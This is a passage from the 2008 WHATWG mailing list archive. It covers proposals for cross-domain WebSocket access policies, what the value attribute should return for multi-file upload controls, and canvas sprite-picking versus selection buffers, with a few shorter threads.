> a host name for the server.
> 5. Browser looks up a special TXT record in the DNS record for Server
> B, which states each of the IP addresses/host names that can hosts
> scripts allowed to connect.
> 
> DNS records are cached multiple places (including at the local
> computer), so a DDOS attack attempting to take down DNS servers
> probably not succeed.

DNS-Server-Information is often not accessible for many hosts/shared hosts.

Adobe has some of the same Problems with the Adobe-Flash-Player.
They use a crossdomain.xml-file to provide policy-informations.

In the Flash Player 9,0,115,0 they introduced something like meta-policies:

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security_04.html

Probably worth a read, when we discuss this topic...


best regards,

frank hellenkamp

-- 
frank hellenkamp | interface designer
hasenheide 53 | 10967 berlin

+49.30.49 78 20 70 | tel
+49.173.70 55 781 | mbl
+49.1805.4002.243 912 | fax
jonas at depagecms.net | mail

http://depagecms.net

strnr 14/339/61587


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 260 bytes
Desc: OpenPGP digital signature
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080620/75972535/attachment.pgp>

From shadow2531 at gmail.com  Fri Jun 20 09:46:03 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Fri, 20 Jun 2008 12:46:03 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
Message-ID: <6b9c91b20806200946n7b3a3fe0k8edac6428ae4af67@mail.gmail.com>

On 6/20/08, Jo?o Eiras <joao.eiras at gmail.com> wrote:
> Hi
>
>
>  > There's a small problem with that too, because we would need a way to handle file names
>  > that contained quote marks, which is possible on Mac and Linux, but not on Windows.
>
>
> Not only that, but in unix flavours, paths are separated with : while
>  in windows they're separated with ;
>  In *nix special char are escaped with \ while in windows \ separates
>  directories in paths.
>  So IMO, it won't be possible to com up with a solution that is cross
>  platform without making up something completly new.
>  I'd suggest for HTMLInputElement to have a .files or .paths property
>  which would be an array of all the files choosen, names only.
>

I like the idea of .files returning an array of just filenames. Great idea!

But, if .files is implemented, what should .value return then? Always
just the first filename? A separated list of platform-dependent
filenames with a separator that makes sense for separating filenames
on that platform? Nothing?

On a side, I'd like .paths to return a list of file URIs (when I allow
it, like for local pages or specific sites).  Be nice for building a
playlist for scripting media player type plugins or even Audio and
Video. That way, you could choose a bunch of files in a different
directory than the page and have the paths load in a playlist. (Or,
even use a script to convert the file URI to a platform path if the
plugin doesn't understand file URIs). Of course, I guess that'd have
to be a browser-specific thing and .vendor_paths.

Anyway, .files returning an array would be a lot better than trying to
parse some platform-specific separated list string that .value might
return.

-- 
Michael

From frode at seria.no  Fri Jun 20 10:31:31 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 19:31:31 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <485BD3AD.1070406@depagecms.net>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
Message-ID: <31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>

>> 1. Browser downloads a script from server A.
>> 2. Script tries to connect to server B.
>> 3. Browser looks up server B's IP-address.
>> 4. Browser performs a reverse lookup of server B's IP-address and gets
>> a host name for the server.
>> 5. Browser looks up a special TXT record in the DNS record for Server
>> B, which states each of the IP addresses/host names that can hosts
>> scripts allowed to connect.
>>
>> DNS records are cached multiple places (including at the local
>> computer), so a DDOS attack attempting to take down DNS servers
>> probably not succeed.
> DNS-Server-Information is often not accessible for many hosts/shared hosts.

This is no problem, since the script that creates the connection can
be hosted on any host and included from any host. Server A includes
script from Server B. If the script from Server B creates a connection
to Server B, then Server A's page can communicate with Server B.

Secondly, there are a lot of hosts that allow you to edit DNS records
- and the rules of a free market will ensure that those who doesn't
will follow shortly.

> Adobe has some of the same Problems with the Adobe-Flash-Player.
> They use a crossdomain.xml-file to provide policy-informations.

That is ofcourse another solution. I like the DNS solution too as it
would be more scalable, since the server that would be under attack
would not have to serve millions of hits to the crossdomain.xml file.

But still, couldn't we combine the two methods? I have read the Adobe
article and it gave me another idea based on policy xml files:

If the socket is created like this: var socket = new WebSocket(host,
port); then DNS is checked.


If the socket is created like this: var socket = new
WebSocket("http://www.example.com/chatserver.xsocket");

Then the .xsocket file is an XML file specifying exactly how the
WebSocket should connect to the server and perhaps any restrictions on
the connections? It would be similar to including a script from a
server, but this would have the following benefits:

1. The chatserver.xsocket-file could be dynamically generated,
allowing many things that we may not think about today.
2. It would be suitable for shared servers.
3. It would allow for example Yahoo! to create services that you can
connect to simply by doing new
WebSocket("http://www.yahoo.com/services/search.xsocket")
4. To load balance, the url could redirect the connecting user to
another xsocket file on another server perhaps?

Frode


From phil127 at gmail.com  Fri Jun 20 11:16:18 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Fri, 20 Jun 2008 20:16:18 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
	<31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
Message-ID: <f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>

On Fri, Jun 20, 2008 at 7:31 PM, Frode B?rli <frode at seria.no> wrote:
> If the socket is created like this: var socket = new
> WebSocket("http://www.example.com/chatserver.xsocket");
>
> Then the .xsocket file is an XML file specifying exactly how the
> WebSocket should connect to the server and perhaps any restrictions on
> the connections? It would be similar to including a script from a
> server, but this would have the following benefits:
>
> 1. The chatserver.xsocket-file could be dynamically generated,
> allowing many things that we may not think about today.
> 2. It would be suitable for shared servers.
> 3. It would allow for example Yahoo! to create services that you can
> connect to simply by doing new
> WebSocket("http://www.yahoo.com/services/search.xsocket")
> 4. To load balance, the url could redirect the connecting user to
> another xsocket file on another server perhaps?
>
> Frode

This sounds like a really good idea. You could even expand this and
use raw TCP connections, then have the xsocket file, for example,
specify a block of data the browser has to send over the new
connection before control is passed to the web application.

That way web hosters could use their own method of mapping customers
to persistent connection. Owners of dedicated servers could leave the
field blank and have all the flexibillity of a raw connection.

Web applications could still easily ported from one system to the
other, because the file would be processed transparently.

The only problem I see is getting the allowed domains right, the
xsocket file can point to. On the one hand, you may want a dedicated
machine for the persistent connections if you run a very popular
service and anticipate many connections at once. On the other hand,
you don't want an evil site getting access to your service using their
own xsocket file.


From lachlan.hunt at lachy.id.au  Fri Jun 20 11:48:22 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 20 Jun 2008 20:48:22 +0200
Subject: [whatwg] What should the value attribute be for
 multi-file	upload controls in WF2?
In-Reply-To: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>	<485BB421.4090803@lachy.id.au>
	<e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
Message-ID: <485BFB76.3000102@lachy.id.au>

Jo?o Eiras wrote:
> I'd suggest for HTMLInputElement to have a .files or .paths property
> which would be an array of all the files choosen, names only.

Whether or not it's worth doing that really depends what use cases we're 
trying to address.  The initial post in this thread was just about 
defining what .value returns for file controls, which needs to be 
defined anyway and is what this thread should really focus on.

I don't think we should jump to the conclusion that we really need to 
provide an array of individual file names without defining why that's 
even useful for authors, especially when doing so doesn't actually 
address the original problem that was raised.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From frode at seria.no  Fri Jun 20 12:18:52 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 21:18:52 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
	<31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
	<f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>
Message-ID: <31fb000f0806201218t27b87388x920a89843dd4a558@mail.gmail.com>

> Web applications could still easily ported from one system to the
> other, because the file would be processed transparently.
>
> The only problem I see is getting the allowed domains right, the
> xsocket file can point to. On the one hand, you may want a dedicated
> machine for the persistent connections if you run a very popular
> service and anticipate many connections at once. On the other hand,
> you don't want an evil site getting access to your service using their
> own xsocket file.

All servers that can accept connections must have a xsocket file.

The only way around this that I see is my reverse DNS proposal...

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From t.broyer at gmail.com  Fri Jun 20 13:47:22 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Fri, 20 Jun 2008 22:47:22 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>

On Fri, Jun 20, 2008 at 3:44 PM, Lachlan Hunt wrote:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt

For the record, "real" IE7 (on Vista) says the full path.

-- 
Thomas Broyer


From frode at seria.no  Fri Jun 20 15:44:37 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Sat, 21 Jun 2008 00:44:37 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
Message-ID: <31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>

Why can't .value returnere an array? just the first filename seems
silly. I would expect an array.

On 6/20/08, Thomas Broyer <t.broyer at gmail.com> wrote:
> On Fri, Jun 20, 2008 at 3:44 PM, Lachlan Hunt wrote:
>>
>> Windows browsers:
>> IE 8:         test.txt
>> IE 7 mode:    test.txt
>
> For the record, "real" IE7 (on Vista) says the full path.
>
> --
> Thomas Broyer
>


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From giecrilj at stegny.2a.pl  Fri Jun 20 15:55:57 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Sat, 21 Jun 2008 00:55:57 +0200
Subject: [whatwg] What should the value attribute be for
	multi-fileupload controls in WF2?
In-Reply-To: <31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com><485BB421.4090803@lachy.id.au><a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
	<31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
Message-ID: <0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>

Because it breaks the common interface that the value property returns a
scalar?

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Saturday, June 21, 2008 12:45 AM
To: Thomas Broyer; whatwg at whatwg.org
Subject: Re: [whatwg] What should the value attribute be for
multi-fileupload controls in WF2?

Why can't .value returnere an array? just the first filename seems
silly. I would expect an array.





From excors+whatwg at gmail.com  Fri Jun 20 17:16:58 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 01:16:58 +0100
Subject: [whatwg] '' <canvas> element "selection buffer"
In-Reply-To: <002901c8c8b4$3de315a0$43cee593@d020330a>
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
Message-ID: <ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>

On 07/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
> Hi,
>
>  I've been looking for something similar to OpenGL's selection buffer - that is, you can get some object ID for the given coordinates.
>
>  E.g.,  Jacob Seidelin's chess game http://blog.nihilogic.dk/search/label/chess could use it, but instead, keyboard control had to be used.
>
>  isPointInPath() does not solve the problem effectively if the path would be too complex - e.g. pixel-based sprites in several layers.
>
>  For an example of what I want to implement, see e.g.
>  http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
>  Mathematical computation of the object is principially impossible (or too complex in best case).

To hande sprites, you could draw each sprite onto its own canvas
(during the initial loading process) and test
spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
sufficiently non-transparent. Quickly skip any sprites whose bounding
box does not contain (x,y), then test the remaining ones from front to
back to find the first that's solid under the given point, and that
should give the answer.

What problems does that approach have, that could be better solved by
a different approach (like selection buffers)?

The main issue I can think of is performance: using getImageData()
means you have to test every sprite that's possibly under the given
point, which could be expensive if you have a very large number of
them, whereas selectionBuffer.getIdAt() takes constant time but
introduces a (probably quite large) constant overhead to all drawing
operations. The selection buffer would help if you're doing a lot of
lookups compared to the amount of drawing and have a lot of
overlapping sprites, but I would expect it to be worse (since the
additional drawing cost would exceed the cost of the object-selection
code) in the much more common cases where you're only doing a single
lookup per frame or only have a few sprites overlapping any given
point. Are there other issues I'm missing?

-- 
Philip Taylor
excors at gmail.com

From ondra at dynawest.cz  Sat Jun 21 03:22:29 2008
From: ondra at dynawest.cz (=?UTF-8?B?T25kxZllaiDFvWnFvmth?=)
Date: Sat, 21 Jun 2008 12:22:29 +0200
Subject: [whatwg] '' Re:  '' <canvas> element "selection buffer"
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
	<ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>
Message-ID: <53D9315E409A469E9009706FCD427C50@d020330a>

----- Original Message ----- 
From: "Philip Taylor" <excors+whatwg at gmail.com>
To: "Ond?ej ?i?ka" <ondra at dynawest.cz>
Cc: <whatwg at whatwg.org>
Sent: Saturday, June 21, 2008 2:16 AM
Subject: Re: [whatwg] '' <canvas> element "selection buffer"


> On 07/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
>> Hi,
>>
>>  I've been looking for something similar to OpenGL's selection buffer - 
>> that is, you can get some object ID for the given coordinates.
>>
>>  E.g.,  Jacob Seidelin's chess game 
>> http://blog.nihilogic.dk/search/label/chess could use it, but instead, 
>> keyboard control had to be used.
>>
>>  isPointInPath() does not solve the problem effectively if the path would 
>> be too complex - e.g. pixel-based sprites in several layers.
>>
>>  For an example of what I want to implement, see e.g.
>> 
>> http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
>>  Mathematical computation of the object is principially impossible (or 
>> too complex in best case).
>
> To hande sprites, you could draw each sprite onto its own canvas
> (during the initial loading process) and test
> spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
> sufficiently non-transparent. Quickly skip any sprites whose bounding
> box does not contain (x,y), then test the remaining ones from front to
> back to find the first that's solid under the given point, and that
> should give the answer.

Thanks for the idea, crossed my mind too, but I guessed this would cause 
very poor performance - imagine performing such search upon "mousemove" 
event.

> What problems does that approach have, that could be better solved by
> a different approach (like selection buffers)?
>
> The main issue I can think of is performance: using getImageData()
> means you have to test every sprite that's possibly under the given
> point, which could be expensive if you have a very large number of
> them, whereas selectionBuffer.getIdAt() takes constant time but
> introduces a (probably quite large) constant overhead to all drawing
> operations.

Not for all operations, only those drawn when "ID buffering" is on. Not all 
objects must be "clickable".
Second, these operations performed in native functions would be incomparably 
faster than lookups in JS.

> The selection buffer would help if you're doing a lot of
> lookups compared to the amount of drawing and have a lot of
> overlapping sprites, but I would expect it to be worse (since the
> additional drawing cost would exceed the cost of the object-selection
> code) in the much more common cases where you're only doing a single
> lookup per frame or only have a few sprites overlapping any given
> point. Are there other issues I'm missing?

I don't know the internals of canvas, but considering the mousemove events, 
which can be fired very frequently, storing the ID into the selection buffer 
would be much more effective, especially if we drew once with ID buffering 
ON, then switched it OFF, and then re-used the filled buffer for other 
rounds, until we know we need to re-fill it -- using the mentioned picture 
as an example, this would occur when the map has moved.

The other issue is inconvenience. Programming pixel-based sprite look-ups 
using all offsets is much more tedious than simply reading a value with an 
one-line command.

I'm quite surprised this has not been discussed - or was it? I haven't found 
any discussion. IMHO canvas element will support this kind of interactivity 
some day - it would be very natural complement of it's displaying purposes.

Ondra




From mpt at myrealbox.com  Sat Jun 21 05:57:27 2008
From: mpt at myrealbox.com (Matthew Paul Thomas)
Date: Sat, 21 Jun 2008 13:57:27 +0100
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>

On Jun 20, 2008, at 2:44 PM, Lachlan Hunt wrote:
> ...
> In each one, I selected a file named test.txt from within my home or 
> My Documents directory.  These are the vaules returned in each 
> browser:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt
> Firefox 2:    D:\My Documents\test.txt
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 3.1.1: D:\My Documents\test.txt
>
> Mac browsers:
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
> ...
> Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5 
> refuses to return the real path anyway, maybe we should define that 
> when there's only a single file selected, it returns just the file 
> name.
> ...
> -- 
> Lachlan Hunt - Opera Software

If this needs to be standardized for interoperability (though it's not 
clear to me that it does), it might help to know why Opera goes to the 
trouble of providing a fake path, rather than providing just the 
filename as Internet Explorer 7 and Firefox 3 do. Was this needed for 
Web site compatibility?

Even if it doesn't need to be standardized for interoperability, it 
might help improve privacy if the spec advised browsers not to include 
the path. It's not obvious that uploading a file will divulge the path, 
and the path might include information that you'd rather not disclose 
(such as your full name, if you've used it as the name for your home 
folder).

> ...
> But it really depends what use cases we need to address.  Do authors 
> ever actually obtain the file name using JavaScript for anything?  If 
> so, what for?  With multiple file selection, is it likely they would 
> want to inspect each individual file name for anything, in which case, 
> should we find a way to make it easier to obtain individual file 
> names?
> ...

A related issue, that Web Forms 2 also doesn't seem to address: Should 
it be possible to select the same file multiple times in the same 
upload control? (I can imagine use cases for selecting the same file in 
different upload controls on the same page, but none come to mind for 
the same file in the same upload control.)

If it should be possible, but a Web author wants to prevent it in a 
case where only distinct files make sense, should they be able to do 
so? And if so, how? Relying on the browser-provided filename wouldn't 
be reliable when that doesn't include the path.

Cheers
-- 
Matthew Paul Thomas
http://mpt.net.nz/


---AV & Spam Filtering by M+Guardian - Risk Free Email (TM)---



From excors+whatwg at gmail.com  Sat Jun 21 07:35:44 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 15:35:44 +0100
Subject: [whatwg] '' Re: '' <canvas> element "selection buffer"
In-Reply-To: <53D9315E409A469E9009706FCD427C50@d020330a>
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
	<ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>
	<53D9315E409A469E9009706FCD427C50@d020330a>
Message-ID: <ea09c0d10806210735y7eeaef51r94ca79a40a7098fb@mail.gmail.com>

On 21/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
> > To hande sprites, you could draw each sprite onto its own canvas
> > (during the initial loading process) and test
> > spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
> > sufficiently non-transparent. Quickly skip any sprites whose bounding
> > box does not contain (x,y), then test the remaining ones from front to
> > back to find the first that's solid under the given point, and that
> > should give the answer.
> >
>
>  Thanks for the idea, crossed my mind too, but I guessed this would cause
> very poor performance - imagine performing such search upon "mousemove"
> event.

I guessed otherwise :-)
To see if I was wrong, I tried implementing this at
http://philip.html5.org/demos/canvas/spritepick/example.html

That example doesn't do anything very clever - on mousemove, it loops
through every sprite and first checks against the bounding box and
then uses getImageData to see if the sprite is transparent at that
point. When the display changes, it just draws every sprite, clipped
to the area that changed.

In Firefox (3.0) and WebKit (nightly) on Windows, it seems to be
easily fast enough with a thousand sprites on the screen. As the
number of sprites increases, performance seems to be affected almost
entirely by the rendering, and the sprite-picking takes very little
time. In Firefox on Linux, and in Opera (9.5) on Linux and Windows,
the drawing speed is rubbish and it doesn't work smoothly with more
than a hundred sprites.

The drawing code could probably be made faster by redrawing as few
sprites as possible per frame, or by not redrawing them at all (and
using some other UI to indicate the selected object). The
sprite-picking code could probably be made faster too, e.g. by doing
some kind of quadtree thing to quickly get a list of all sprites that
might overlap the given point.

So, I don't think I see any evidence that this method of selecting
sprites has unacceptable performance.

> > The main issue I can think of is performance: using getImageData()
> > means you have to test every sprite that's possibly under the given
> > point, which could be expensive if you have a very large number of
> > them, whereas selectionBuffer.getIdAt() takes constant time but
> > introduces a (probably quite large) constant overhead to all drawing
> > operations.
> >
>
>  Not for all operations, only those drawn when "ID buffering" is on. Not all
> objects must be "clickable".
>  Second, these operations performed in native functions would be
> incomparably faster than lookups in JS.

But the ID-buffering operations in native functions would have to be
performed on every pixel that is drawn (while ID-buffering is
enabled), and there will be millions of pixels; whereas the JS lookups
would have to be performed once per sprite-that-is-under-the-mouse for
each frame, and there will only be a few sprites to check each time,
so it's doing much less work than the native functions and so it can
be much faster overall.

>  The other issue is inconvenience. Programming pixel-based sprite look-ups
> using all offsets is much more tedious than simply reading a value with an
> one-line command.

Another issue is that canvas implementations are usually quite buggy
(I found new bugs in Opera and WebKit while writing the earlier
example...), and the selection buffer would add a lot of complexity
and a lot of new bugs, since it would have to interact with clipping
and composite operations and alpha and all the optimisations that
implementations perform. Buggy implementations are very inconvenient
for authors, so it may be more convenient to use the existing simple
APIs instead of relying on the browsers to provide a complex new API
:-)

>  I'm quite surprised this has not been discussed - or was it? I haven't
> found any discussion. IMHO canvas element will support this kind of
> interactivity some day - it would be very natural complement of it's
> displaying purposes.

I don't remember any previous discussion about this specific topic. In
general discussions about interactivity, the answer is usually to use
SVG instead of canvas - SVG is designed for interactive graphical
documents, while canvas is designed for non-interactive
dynamically-generated images, so in many cases it's better to use SVG
rather than to reinvent SVG's features inside canvas. (That may not
apply to this specific case, though.)

-- 
Philip Taylor
excors at gmail.com

From shadow2531 at gmail.com  Sat Jun 21 08:48:24 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Sat, 21 Jun 2008 11:48:24 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
Message-ID: <6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>

On 6/21/08, Matthew Paul Thomas <mpt at myrealbox.com> wrote:
> On Jun 20, 2008, at 2:44 PM, Lachlan Hunt wrote:
>
> > ...
> > In each one, I selected a file named test.txt from within my home or My
> Documents directory.  These are the vaules returned in each browser:
> >
> > Windows browsers:
> > IE 8:         test.txt
> > IE 7 mode:    test.txt
> > Firefox 2:    D:\My Documents\test.txt
> > Firefox 3:    test.txt
> > Opera 9.5:    C:\fake_path\test.txt
> > Safari 3.1.1: D:\My Documents\test.txt
> >
> > Mac browsers:
> > Firefox 3:    test.txt
> > Opera 9.5:    C:\fake_path\test.txt
> > Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
> > ...
> > Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5
> refuses to return the real path anyway, maybe we should define that when
> there's only a single file selected, it returns just the file name.
> > ...
> > --
> > Lachlan Hunt - Opera Software
> >
>
>  If this needs to be standardized for interoperability (though it's not
> clear to me that it does), it might help to know why Opera goes to the
> trouble of providing a fake path, rather than providing just the filename as
> Internet Explorer 7 and Firefox 3 do. Was this needed for Web site
> compatibility?

FF2, Safari and IE7 (as opposed to IE7 mode in IE8) show the full
path. Some sites that were only tested for windows browsers probably
expected a full path and tried to get the substr after the last \.
However, they probably checked to see if a \ existed first and if it
didn't, they didn't do anything. My guess at least.

But, now that FF3 and IE8 return just a filename, maybe those sites
are starting to fix things to just assume a filename. Not sure.

Anyway, the use case for .value is:

<!DOCTYPE html>
<html>
    <head>
        <title></title>
    </head>
    <body>
        <p>File to attach: <p>
        <p><input type="file"
onchange="document.getElementsByTagName('p')[0].innerHTML +=
this.value;"></p>
        <button>Upload</button>
    </body>
</html>

And, the use case for .files is:

<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <script>
            function showFileNames(files) {
                var pre = document.getElementsByTagName("pre")[0];
                var s = "";
                for (var i = 0; i < files.length; ++i) {
                    if (i > 0) {
                        s += "\n";
                    }
                    s += files[i];
                }
                pre.innerHTML = s;
            }
        </script>
    </head>
    <body>
        <p>Files to attach:<p>
        <pre></pre>
        <p><input type="file" max="4" onchange="showFileNames(this.files)"></p>
        <button>Upload</button>
    </body>
</html>

(.value could be used instead of .files, but it'd have to return a
platform-specific separated list that you would have to parse into an
array first in this situation)

-- 
Michael


From excors+whatwg at gmail.com  Sat Jun 21 15:52:11 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 23:52:11 +0100
Subject: [whatwg] commit-watchers mail format
Message-ID: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>

The mails sent to commit-watchers at whatwg.org are not very
user-friendly. In particular, I collect them in Gmail and 'star'
interesting ones that I want to look at in more detail in the future.
When looking at the list of starred emails, I see:

  whatwg  WHATWG ?[html5] r1771 - / - Author: ianh Date: 2008-06-13
01:59:40 -0700 (Fri, 13 Jun 2008) New Revision: 1771 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1770 - / - Author: ianh Date: 2008-06-13
01:49:25 -0700 (Fri, 13 Jun 2008) New Revision: 1770 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1768 - / - Author: ianh Date: 2008-06-13
01:22:57 -0700 (Fri, 13 Jun 2008) New Revision: 1768 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1767 - / - Author: ianh Date: 2008-06-13
01:12:01 -0700 (Fri, 13 Jun 2008) New Revision: 1767 Modified ?  13
Jun

which makes it impossible to work out what a given email is about, or
to find the email that's about a given change. So it could be nice if
the commit message was in the subject line, or at the top of the body
(so it would appear in Gmail's content snippet thing).

-- 
Philip Taylor
excors at gmail.com

From edwardzyang at thewritingpot.com  Sun Jun 22 13:22:40 2008
From: edwardzyang at thewritingpot.com (Edward Z. Yang)
Date: Sun, 22 Jun 2008 16:22:40 -0400
Subject: [whatwg] Pre, code and semantics in HTML5: Wishful thinking?
Message-ID: <485EB490.2060101@thewritingpot.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I was reading through the HTML5 spec the other day and I noticed this
tidbit:

> To represent a block of computer code, the pre element can be used
> with a code element; to represent a block of computer output the pre
> element can be used with a samp element. Similarly, the kbd element
> can be used within a pre element to indicate text that the user is to
> enter.

The implication is that document authors are recommended to use
<pre><code> to wrap all of their programming code instead of a lone
<pre>, if they wish to be fully semantic. This feels needlessly verbose
and abusive of <code>, which traditionally has been used to mark
single-liners.

It also makes it extremely difficult to style pre as a block for code,
as the only semantic indication that the contents of the pre block are
computer code is its child. You'd end up having to say <pre
class="code"><code> if you wanted to style pre as well.

At the same time, I still think the semantics of whether or not a <pre>
tag indicates a plaintext file, or a piece of ASCII art, or computer
code, is somewhat important. However, I think this information would be
more appropriately given as an attribute.

Thanks for reading,
Edward

P.S. Please CC my address on all replies.

- --
 Edward Z. Yang                        GnuPG: 0x869C48DA
 HTML Purifier <http://htmlpurifier.org> Anti-XSS Filter
 [[ 3FA8 E9A9 7385 B691 A6FC B3CB A933 BE7D 869C 48DA ]]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIXrSQqTO+fYacSNoRAn1WAJ95X7i0Rf4sMGuj4n5qEEWoEH4CuwCfUnP8
TIADRZ6VRXWK2AC9tIATl8E=
=TY06
-----END PGP SIGNATURE-----


From lachlan.hunt at lachy.id.au  Sun Jun 22 13:46:29 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Sun, 22 Jun 2008 22:46:29 +0200
Subject: [whatwg] What should the value attribute be for
 multi-file	upload controls in WF2?
In-Reply-To: <6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>	<485BB421.4090803@lachy.id.au>	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
